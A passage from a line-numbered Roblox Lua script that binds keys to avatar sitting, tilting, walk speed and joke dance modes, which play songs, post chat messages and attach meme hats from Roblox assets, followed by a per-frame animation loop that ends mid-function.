| 5606 | end) | |
| 5607 | mouse.KeyDown:connect(function(k) | |
| 5608 | if string.byte(k) == 50 then | |
| 5609 | if dancing then return end | |
| 5610 | sitting = not sitting | |
| 5611 | if sitting then | |
| 5612 | local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0)) | |
| 5613 | local hitz,enz = workspace:FindPartOnRay(ray, char) | |
| 5614 | if hitz then | |
| 5615 | controller.Parent = nil | |
| 5616 | humanoid.WalkSpeed = 0 | |
| 5617 | coroutine.wrap(function() | |
| 5618 | while wait() do | |
| 5619 | humanoid.PlatformStand = true | |
| 5620 | if sitting == false then humanoid.PlatformStand = false break end | |
| 5621 | end | |
| 5622 | end)() | |
| 5623 | rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0) | |
| 5624 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16) | |
| 5625 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16) | |
| 5626 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10) | |
| 5627 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10) | |
| 5628 | miniweld = Instance.new("Weld", char)
| |
| 5629 | miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame) | |
| 5630 | miniweld.Part0 = hitz | |
| 5631 | miniweld.Part1 = rootpart | |
| 5632 | else | |
| 5633 | sitting = false | |
| 5634 | return | |
| 5635 | end | |
| 5636 | else | |
| 5637 | if miniweld then | |
| 5638 | miniweld:Destroy() | |
| 5639 | end | |
| 5640 | controller.Parent = controllerService | |
| 5641 | humanoid.PlatformStand = false | |
| 5642 | humanoid.WalkSpeed = 30 | |
| 5643 | end | |
| 5644 | end | |
| 5645 | if string.byte(k) == 32 then | |
| 5646 | fwutters:Stop() | |
| 5647 | uni:Stop() | |
| 5648 | Cobalt1164l:Stop() | |
| 5649 | qq:Stop() | |
| 5650 | ann:Stop() | |
| 5651 | nyan:Stop() | |
| 5652 | sctmn:Stop() | |
| 5653 | cant:Stop() | |
| 5654 | superannoying = false | |
| 5655 | barrelroll = false | |
| 5656 | heya = false | |
| 5657 | dubstepgun = false | |
| 5658 | youpirate = false | |
| 5659 | canttouch = false | |
| 5660 | gangnam = false | |
| 5661 | sheddy = false | |
| 5662 | durka = false | |
| 5663 | saxguy = false | |
| 5664 | foxie = false | |
| 5665 | burndem = false | |
| 5666 | bronymusic = false | |
| 5667 | canttt = false | |
| 5668 | land_of_swords:stop() | |
| 5669 | brony_music:stop() | |
| 5670 | fox_say:stop() | |
| 5671 | spitfire:stop() | |
| 5672 | heman:stop() | |
| 5673 | doge:Stop() | |
| 5674 | justin:stop() | |
| 5675 | jb = false | |
| 5676 | durk:stop() | |
| 5677 | restorecolors() | |
| 5678 | burn_dem:stop() | |
| 5679 | if hat then | |
| 5680 | hat:Destroy() | |
| 5681 | end | |
| 5682 | sax_guy:stop() | |
| 5683 | gangy_style:stop() | |
| 5684 | cant_touch:stop() | |
| 5685 | you_are_pirate:stop() | |
| 5686 | dubstep_gun:stop() | |
| 5687 | super_annoying:stop() | |
| 5688 | barrel_roll:stop() | |
| 5689 | dancing = false | |
| 5690 | global_wait = 0 | |
| 5691 | LightForTorso.Color = torso.BrickColor.Color | |
| 5692 | end | |
| 5693 | if k == "z" then | |
| 5694 | if dancing then return end | |
| 5695 | if not sitting then | |
| 5696 | dancing = true | |
| 5697 | game:GetService("Chat"):Chat(head,"Jb Time!",0)
| |
| 5698 | jb = true | |
| 5699 | super_annoying:play() | |
| 5700 | hat = Instance.new("Part", char)
| |
| 5701 | hat.FormFactor = "Custom" | |
| 5702 | hat.CanCollide = false | |
| 5703 | hat.Size = head.Size | |
| 5704 | hat.Locked = true | |
| 5705 | hat:breakJoints() | |
| 5706 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5707 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=84302661" | |
| 5708 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=84302759" | |
| 5709 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
| 5710 | local hatweld = Instance.new("Weld", hat)
| |
| 5711 | hatweld.Part0 = hat | |
| 5712 | hatweld.Part1 = head | |
| 5713 | hatweld.C0 = CFrame.new(0, -0.6, 0) | |
| 5714 | end | |
| 5715 | end | |
| 5716 | if k == "=" then | |
| 5717 | if dancing then return end | |
| 5718 | if not sitting then | |
| 5719 | dancing = true | |
| 5720 | canttt = true | |
| 5721 | cant:play() | |
| 5722 | game:GetService("Chat"):Chat(head,"Can't touch me!",0)
| |
| 5723 | end | |
| 5724 | end | |
| 5725 | if k == "u" then | |
| 5726 | if dancing then return end | |
| 5727 | if not sitting then | |
| 5728 | dancing = true | |
| 5729 | game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
| |
| 5730 | saxguy = true | |
| 5731 | sctmn:play() | |
| 5732 | hat = Instance.new("Part", char)
| |
| 5733 | hat.FormFactor = "Custom" | |
| 5734 | hat.CanCollide = false | |
| 5735 | hat.Size = head.Size | |
| 5736 | hat.Locked = true | |
| 5737 | hat:breakJoints() | |
| 5738 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5739 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479" | |
| 5740 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070" | |
| 5741 | hatmesh.Scale = Vector3.new(.0925, .0925, .0925) | |
| 5742 | local hatweld = Instance.new("Weld", hat)
| |
| 5743 | hatweld.Part0 = hat | |
| 5744 | hatweld.Part1 = la | |
| 5745 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
| 5746 | end | |
| 5747 | end | |
| 5748 | ||
| 5749 | if k == "k" then | |
| 5750 | if dancing then return end | |
| 5751 | if not sitting then | |
| 5752 | dancing = true | |
| 5753 | game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0)
| |
| 5754 | sheddy = true | |
| 5755 | spitfire:play() | |
| 5756 | end | |
| 5757 | end | |
| 5758 | if k == "," then | |
| 5759 | if dancing then return end | |
| 5760 | if not sitting then | |
| 5761 | dancing = true | |
| 5762 | game:GetService("Chat"):Chat(head,"Land of swords!",0)
| |
| 5763 | foxie = true | |
| 5764 | land_of_swords:play() | |
| 5765 | hat = Instance.new("Part", char)
| |
| 5766 | hat.FormFactor = "Custom" | |
| 5767 | hat.CanCollide = false | |
| 5768 | hat.Size = head.Size | |
| 5769 | hat.Locked = true | |
| 5770 | hat:breakJoints() | |
| 5771 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5772 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237" | |
| 5773 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588" | |
| 5774 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
| 5775 | local hatweld = Instance.new("Weld", hat)
| |
| 5776 | hatweld.Part0 = hat | |
| 5777 | hatweld.Part1 = la | |
| 5778 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
| 5779 | end | |
| 5780 | end | |
| 5781 | ||
| 5782 | if k == "p" then | |
| 5783 | if dancing then return end | |
| 5784 | if not sitting then | |
| 5785 | dancing = true | |
| 5786 | foxie = true | |
| 5787 | game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
| |
| 5788 | qq:play() | |
| 5789 | hat = Instance.new("Part", char)
| |
| 5790 | hat.FormFactor = "Custom" | |
| 5791 | hat.CanCollide = false | |
| 5792 | hat.Size = head.Size | |
| 5793 | hat.Locked = true | |
| 5794 | hat:breakJoints() | |
| 5795 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5796 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869" | |
| 5797 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834" | |
| 5798 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
| 5799 | local hatweld = Instance.new("Weld", hat)
| |
| 5800 | hatweld.Part0 = hat | |
| 5801 | hatweld.Part1 = la | |
| 5802 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
| 5803 | end | |
| 5804 | end | |
| 5805 | ||
| 5806 | if k == ";" then | |
| 5807 | if dancing then return end | |
| 5808 | if not sitting then | |
| 5809 | dancing = true | |
| 5810 | game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0)
| |
| 5811 | heya = true | |
| 5812 | uni:play() | |
| 5813 | hat = Instance.new("Part", char)
| |
| 5814 | hat.FormFactor = "Custom" | |
| 5815 | hat.CanCollide = false | |
| 5816 | hat.Size = head.Size | |
| 5817 | hat.Locked = true | |
| 5818 | hat:breakJoints() | |
| 5819 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5820 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494" | |
| 5821 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632" | |
| 5822 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
| 5823 | local hatweld = Instance.new("Weld", hat)
| |
| 5824 | hatweld.Part0 = hat | |
| 5825 | hatweld.Part1 = la | |
| 5826 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
| 5827 | end | |
| 5828 | end | |
| 5829 | ||
| 5830 | if k == "n" then | |
| 5831 | if dancing then return end | |
| 5832 | if not sitting then | |
| 5833 | dancing = true | |
| 5834 | game:GetService("Chat"):Chat(head,"Gangnam Style!",0)
| |
| 5835 | gangnam = true | |
| 5836 | gangy_style:play() | |
| 5837 | end | |
| 5838 | end | |
| 5839 | if k == "t" then | |
| 5840 | if dancing then return end | |
| 5841 | if not sitting then | |
| 5842 | dancing = true | |
| 5843 | game:GetService("Chat"):Chat(head,"x3",0)
| |
| 5844 | heya = true | |
| 5845 | ann:play() | |
| 5846 | end | |
| 5847 | end | |
| 5848 | if k == "-" then | |
| 5849 | if dancing then return end | |
| 5850 | if not sitting then | |
| 5851 | dancing = true | |
| 5852 | game:GetService("Chat"):Chat(head,"TROCobalt1164OCobalt1164OLO",0)
| |
| 5853 | heya = true | |
| 5854 | Cobalt1164l:play() | |
| 5855 | end | |
| 5856 | end | |
| 5857 | ||
| 5858 | if k == "r" then | |
| 5859 | if dancing then return end | |
| 5860 | if not sitting then | |
| 5861 | dancing = true | |
| 5862 | game:GetService("Chat"):Chat(head,"BURN! BURN THEM!",0)
| |
| 5863 | burndem = true | |
| 5864 | burn_dem:play() | |
| 5865 | end | |
| 5866 | end | |
| 5867 | if k == "x" then | |
| 5868 | if dancing then return end | |
| 5869 | if not sitting then | |
| 5870 | dancing = true | |
| 5871 | game:GetService("Chat"):Chat(head,"Do the barrel roll!",0)
| |
| 5872 | barrelroll = true | |
| 5873 | barrel_roll:play() | |
| 5874 | hat = Instance.new("Part", char)
| |
| 5875 | hat.FormFactor = "Custom" | |
| 5876 | hat.CanCollide = false | |
| 5877 | hat.Size = torso.Size | |
| 5878 | hat.Locked = true | |
| 5879 | hat:breakJoints() | |
| 5880 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5881 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142" | |
| 5882 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063" | |
| 5883 | hatmesh.Scale = Vector3.new(.22, .2, .22) | |
| 5884 | local hatweld = Instance.new("Weld", hat)
| |
| 5885 | hatweld.Part0 = hat | |
| 5886 | hatweld.Part1 = torso | |
| 5887 | end | |
| 5888 | end | |
| 5889 | if k == "h" then | |
| 5890 | if dancing then return end | |
| 5891 | if not sitting then | |
| 5892 | dancing = true | |
| 5893 | game:GetService("Chat"):Chat(head,":D",0)
| |
| 5894 | heman:play() | |
| 5895 | heya = true | |
| 5896 | hat = Instance.new("Part", char)
| |
| 5897 | hat.FormFactor = "Custom" | |
| 5898 | hat.CanCollide = false | |
| 5899 | hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01) | |
| 5900 | hat.Locked = true | |
| 5901 | hat.BrickColor = BrickColor.new("Hot pink")
| |
| 5902 | hat:breakJoints() | |
| 5903 | local hatweld = Instance.new("Weld", hat)
| |
| 5904 | hatweld.Part0 = hat | |
| 5905 | hatweld.Part1 = torso | |
| 5906 | end | |
| 5907 | end | |
| 5908 | if k == "j" then | |
| 5909 | if dancing then return end | |
| 5910 | if not sitting then | |
| 5911 | dancing = true | |
| 5912 | game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0)
| |
| 5913 | justin:play() | |
| 5914 | jb = true | |
| 5915 | hat = Instance.new("Part", char)
| |
| 5916 | hat.FormFactor = "Custom" | |
| 5917 | hat.CanCollide = false | |
| 5918 | hat.Size = head.Size | |
| 5919 | hat.Locked = true | |
| 5920 | hat.BrickColor = BrickColor.new("Hot pink")
| |
| 5921 | hat:breakJoints() | |
| 5922 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5923 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424" | |
| 5924 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982" | |
| 5925 | hatmesh.Scale = Vector3.new(.23, .23, .23) | |
| 5926 | local hatweld = Instance.new("Weld", hat)
| |
| 5927 | hatweld.Part0 = hat | |
| 5928 | hatweld.Part1 = head | |
| 5929 | hatweld.C0 = CFrame.new(0.025, -0.05, 0) | |
| 5930 | end | |
| 5931 | end | |
| 5932 | ||
| 5933 | if k == "'" then | |
| 5934 | if dancing then return end | |
| 5935 | if not sitting then | |
| 5936 | dancing = true | |
| 5937 | fwutters:play() | |
| 5938 | game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
| |
| 5939 | bronymusic = true | |
| 5940 | for _,bp in pairs(char:children()) do | |
| 5941 | if bp:IsA("BasePart") then
| |
| 5942 | bp.BrickColor = BrickColor.new("Cool yellow")
| |
| 5943 | end | |
| 5944 | end | |
| 5945 | hat = Instance.new("Part", char)
| |
| 5946 | hat.FormFactor = "Custom" | |
| 5947 | hat.CanCollide = false | |
| 5948 | hat.Size = head.Size | |
| 5949 | hat.Locked = true | |
| 5950 | hat.BrickColor = BrickColor.new("Cool yellow")
| |
| 5951 | hat:breakJoints() | |
| 5952 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5953 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513" | |
| 5954 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326" | |
| 5955 | hatmesh.Scale = Vector3.new(.28, .28, .28) | |
| 5956 | local hatweld = Instance.new("Weld", hat)
| |
| 5957 | hatweld.Part0 = hat | |
| 5958 | hatweld.Part1 = head | |
| 5959 | hatweld.C0 = CFrame.new(0.025, 0, 0) | |
| 5960 | end | |
| 5961 | end | |
| 5962 | ||
| 5963 | if k == "c" then | |
| 5964 | if dancing then return end | |
| 5965 | if not sitting then | |
| 5966 | dancing = true | |
| 5967 | game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0)
| |
| 5968 | dubstepgun = true | |
| 5969 | dubstep_gun:play() | |
| 5970 | end | |
| 5971 | end | |
| 5972 | ||
| 5973 | if k == "v" then | |
| 5974 | if dancing then return end | |
| 5975 | if not sitting then | |
| 5976 | dancing = true | |
| 5977 | game:GetService("Chat"):Chat(head,"I am a pirate!",0)
| |
| 5978 | youpirate = true | |
| 5979 | you_are_pirate:play() | |
| 5980 | hat = Instance.new("Part", char)
| |
| 5981 | hat.FormFactor = "Custom" | |
| 5982 | hat.CanCollide = false | |
| 5983 | hat.Size = head.Size | |
| 5984 | hat.Locked = true | |
| 5985 | hat:breakJoints() | |
| 5986 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 5987 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848" | |
| 5988 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847" | |
| 5989 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
| 5990 | local hatweld = Instance.new("Weld", hat)
| |
| 5991 | hatweld.Part0 = hat | |
| 5992 | hatweld.Part1 = head | |
| 5993 | hatweld.C0 = CFrame.new(0, -0.15, 0) | |
| 5994 | end | |
| 5995 | end | |
| 5996 | if k == "m" then | |
| 5997 | if dancing then return end | |
| 5998 | if not sitting then | |
| 5999 | dancing = true | |
| 6000 | game:GetService("Chat"):Chat(head,"Can't touch this!",0)
| |
| 6001 | canttouch = true | |
| 6002 | cant_touch:play() | |
| 6003 | end | |
| 6004 | end | |
| 6005 | if k == "b" then | |
| 6006 | if dancing then return end | |
| 6007 | if not sitting then | |
| 6008 | dancing = true | |
| 6009 | game:GetService("Chat"):Chat(head,"Now for brony music!",0)
| |
| 6010 | bronymusic = true | |
| 6011 | brony_music:play() | |
| 6012 | for _,bp in pairs(char:children()) do | |
| 6013 | if bp:IsA("BasePart") then
| |
| 6014 | bp.BrickColor = BrickColor.new("Pink")
| |
| 6015 | end | |
| 6016 | end | |
| 6017 | hat = Instance.new("Part", char)
| |
| 6018 | hat.FormFactor = "Custom" | |
| 6019 | hat.CanCollide = false | |
| 6020 | hat.Size = head.Size | |
| 6021 | hat.Locked = true | |
| 6022 | hat.BrickColor = BrickColor.new("Lavender")
| |
| 6023 | hat:breakJoints() | |
| 6024 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 6025 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708" | |
| 6026 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192" | |
| 6027 | hatmesh.Scale = Vector3.new(.25, .25, .45) | |
| 6028 | local hatweld = Instance.new("Weld", hat)
| |
| 6029 | hatweld.Part0 = hat | |
| 6030 | hatweld.Part1 = head | |
| 6031 | hatweld.C0 = CFrame.new(0, -0.1, 0.05) | |
| 6032 | end | |
| 6033 | end | |
| 6034 | ||
| 6035 | if k == "y" then | |
| 6036 | if dancing then return end | |
| 6037 | if not sitting then | |
| 6038 | dancing = true | |
| 6039 | bronymusic = true | |
| 6040 | nyan:play() | |
| 6041 | for _,bp in pairs(char:children()) do | |
| 6042 | if bp:IsA("BasePart") then
| |
| 6043 | bp.BrickColor = BrickColor.new("Dark stone grey")
| |
| 6044 | end | |
| 6045 | end | |
| 6046 | game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
| |
| 6047 | hat = Instance.new("Part", char)
| |
| 6048 | hat.FormFactor = "Custom" | |
| 6049 | hat.CanCollide = false | |
| 6050 | hat.Size = head.Size | |
| 6051 | hat.Locked = true | |
| 6052 | hat.BrickColor = BrickColor.new("Dark stone grey")
| |
| 6053 | hat:breakJoints() | |
| 6054 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 6055 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148" | |
| 6056 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031" | |
| 6057 | hatmesh.Scale = Vector3.new(.2, .30, .2) | |
| 6058 | local hatweld = Instance.new("Weld", hat)
| |
| 6059 | hatweld.Part0 = hat | |
| 6060 | hatweld.Part1 = head | |
| 6061 | hatweld.C0 = CFrame.new(0, -0.15, 0.05) | |
| 6062 | end | |
| 6063 | end | |
| 6064 | ||
| 6065 | if k == "l" then | |
| 6066 | if dancing then return end | |
| 6067 | if not sitting then | |
| 6068 | dancing = true | |
| 6069 | game:GetService("Chat"):Chat(head,"What does the fox say?!",0)
| |
| 6070 | foxie = true | |
| 6071 | fox_say:play() | |
| 6072 | hat = Instance.new("Part", char)
| |
| 6073 | hat.FormFactor = "Custom" | |
| 6074 | hat.CanCollide = false | |
| 6075 | hat.Size = head.Size | |
| 6076 | hat.Locked = true | |
| 6077 | hat:breakJoints() | |
| 6078 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 6079 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225" | |
| 6080 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210" | |
| 6081 | hatmesh.Scale = Vector3.new(.2, .2, .2) | |
| 6082 | local hatweld = Instance.new("Weld", hat)
| |
| 6083 | hatweld.Part0 = hat | |
| 6084 | hatweld.Part1 = head | |
| 6085 | hatweld.C0 = CFrame.new(0, -0.1, 0) | |
| 6086 | end | |
| 6087 | ||
| 6088 | end | |
| 6089 | if k == "f" then | |
| 6090 | if dancing then return end | |
| 6091 | if not sitting then | |
| 6092 | dancing = true | |
| 6093 | game:GetService("Chat"):Chat(head,"I'm wakin up!",0)
| |
| 6094 | durka = true | |
| 6095 | durk:play() | |
| 6096 | end | |
| 6097 | end | |
| 6098 | if k == "g" then | |
| 6099 | if dancing then return end | |
| 6100 | if not sitting then | |
| 6101 | dancing = true | |
| 6102 | game:GetService("Chat"):Chat(head,"Now for some more music",0)
| |
| 6103 | saxguy = true | |
| 6104 | sax_guy:play() | |
| 6105 | hat = Instance.new("Part", char)
| |
| 6106 | hat.FormFactor = "Custom" | |
| 6107 | hat.CanCollide = false | |
| 6108 | hat.Size = head.Size | |
| 6109 | hat.Locked = true | |
| 6110 | hat:breakJoints() | |
| 6111 | local hatmesh = Instance.new("SpecialMesh", hat)
| |
| 6112 | hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178" | |
| 6113 | hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320" | |
| 6114 | hatmesh.Scale = Vector3.new(.25, .25, .25) | |
| 6115 | local hatweld = Instance.new("Weld", hat)
| |
| 6116 | hatweld.Part0 = hat | |
| 6117 | hatweld.Part1 = la | |
| 6118 | hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4) | |
| 6119 | end | |
| 6120 | end | |
| 6121 | ||
| 6122 | ||
| 6123 | ||
| 6124 | ||
| 6125 | if k == "q" then | |
| 6126 | if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end | |
| 6127 | if sitting then return end | |
| 6128 | looking = true | |
| 6129 | game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
| |
| 6130 | rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4) | |
| 6131 | end | |
| 6132 | if k == "e" then | |
| 6133 | if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end | |
| 6134 | if sitting then return end | |
| 6135 | looking = true | |
| 6136 | game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
| |
| 6137 | rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4) | |
| 6138 | end | |
| 6139 | if string.byte(k) == 48 or string.byte(k) == 47 then | |
| 6140 | if sitting then return end | |
| 6141 | humanoid.WalkSpeed = 30 | |
| 6142 | end | |
| 6143 | if string.byte(k) == 52 then | |
| 6144 | if sitting then return end | |
| 6145 | humanoid.WalkSpeed = 10 | |
| 6146 | end | |
| 6147 | end) | |
| 6148 | ||
| 6149 | mouse.KeyUp:connect(function(k) | |
| 6150 | if string.byte(k) == 48 or string.byte(k) == 47 then | |
| 6151 | if sitting then return end | |
| 6152 | humanoid.WalkSpeed = 20 | |
| 6153 | end | |
| 6154 | if string.byte(k) == 32 then | |
| 6155 | game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
| |
| 6156 | superannoying = false | |
| 6157 | barrelroll = false | |
| 6158 | heya = false | |
| 6159 | dubstepgun = false | |
| 6160 | youpirate = false | |
| 6161 | canttouch = false | |
| 6162 | gangnam = false | |
| 6163 | sheddy = false | |
| 6164 | durka = false | |
| 6165 | saxguy = false | |
| 6166 | foxie = false | |
| 6167 | burndem = false | |
| 6168 | bronymusic = false | |
| 6169 | canttt = false | |
| 6170 | brony_music:stop() | |
| 6171 | cant:Stop() | |
| 6172 | fox_say:stop() | |
| 6173 | spitfire:stop() | |
| 6174 | heman:stop() | |
| 6175 | justin:stop() | |
| 6176 | jb = false | |
| 6177 | durk:stop() | |
| 6178 | restorecolors() | |
| 6179 | burn_dem:stop() | |
| 6180 | if hat then | |
| 6181 | hat:Destroy() | |
| 6182 | end | |
| 6183 | sax_guy:stop() | |
| 6184 | gangy_style:stop() | |
| 6185 | cant_touch:stop() | |
| 6186 | you_are_pirate:stop() | |
| 6187 | dubstep_gun:stop() | |
| 6188 | super_annoying:stop() | |
| 6189 | barrel_roll:stop() | |
| 6190 | dancing = false | |
| 6191 | global_wait = 0 | |
| 6192 | LightForTorso.Color = torso.BrickColor.Color | |
| 6193 | end | |
| 6194 | ||
| 6195 | ||
| 6196 | if k == "q" then | |
| 6197 | if looking then | |
| 6198 | if sitting then return end | |
| 6199 | rj.C0 = CFrame.new() | |
| 6200 | looking = false | |
| 6201 | end | |
| 6202 | end | |
| 6203 | ||
| 6204 | if k == "e" then | |
| 6205 | if looking then | |
| 6206 | if sitting then return end | |
| 6207 | rj.C0 = CFrame.new() | |
| 6208 | looking = false | |
| 6209 | end | |
| 6210 | end | |
| 6211 | end) | |
| 6212 | ||
| 6213 | ||
| 6214 | game:service'RunService'.Stepped:connect(function() | |
| 6215 | count = (count % 100) + countspeed | |
| 6216 | angle = math.pi * math.sin(math.pi*2/100*count) | |
| 6217 | ||
| 6218 | if slidecount < slidecountmax then | |
| 6219 | slidecount = slidecount + speed | |
| 6220 | end | |
| 6221 | if slidecount > slidecountmax then | |
| 6222 | slidecount = slidecount - speed | |
| 6223 | end | |
| 6224 | if global_wait == 380 then global_wait = 0 end | |
| 6225 | ||
| 6226 | sine = sine + sinespeed | |
| 6227 | if not dancing then | |
| 6228 | if not sitting then | |
| 6229 | local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0)) | |
| 6230 | local hitz, enz = workspace:FindPartOnRay(ray, char) | |
| 6231 | if not hitz then | |
| 6232 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0) | |
| 6233 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0) | |
| 6234 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0) | |
| 6235 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0) | |
| 6236 | if not looking then | |
| 6237 | rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
| 6238 | end | |
| 6239 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
| 6240 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then | |
| 6241 | ||
| 6242 | -- idle anim | |
| 6243 | ||
| 6244 | anim = "Idle" | |
| 6245 | if anim ~= lastanim then | |
| 6246 | if lastanim == "Walking" then | |
| 6247 | speed = 0.5 | |
| 6248 | slidecount = 1 | |
| 6249 | slidecountmax = 0 | |
| 6250 | elseif lastanim == "Running" then | |
| 6251 | speed = 2.5 | |
| 6252 | slidecount = 5 | |
| 6253 | slidecountmax = 0 | |
| 6254 | else | |
| 6255 | slidecount = 0 | |
| 6256 | slidecountmax = 0 | |
| 6257 | end | |
| 6258 | end | |
| 6259 | countspeed = 1 | |
| 6260 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0) | |
| 6261 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0) | |
| 6262 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0) | |
| 6263 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0) | |
| 6264 | if not looking then | |
| 6265 | rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
| 6266 | end | |
| 6267 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
| 6268 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then | |
| 6269 | looking = false | |
| 6270 | -- walk anim | |
| 6271 | anim = "Walking" | |
| 6272 | if anim ~= lastanim then | |
| 6273 | speed = 0.2 | |
| 6274 | slidecount = 0 | |
| 6275 | slidecountmax = 1 | |
| 6276 | if lastanim == "Running" then | |
| 6277 | slidecount = 5 | |
| 6278 | end | |
| 6279 | end | |
| 6280 | countspeed = 6 | |
| 6281 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02)) | |
| 6282 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02)) | |
| 6283 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01)) | |
| 6284 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01)) | |
| 6285 | rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
| 6286 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
| 6287 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then | |
| 6288 | --run anim | |
| 6289 | anim = "Running" | |
| 6290 | if anim ~= lastanim then | |
| 6291 | speed = 1 | |
| 6292 | slidecount = 0 | |
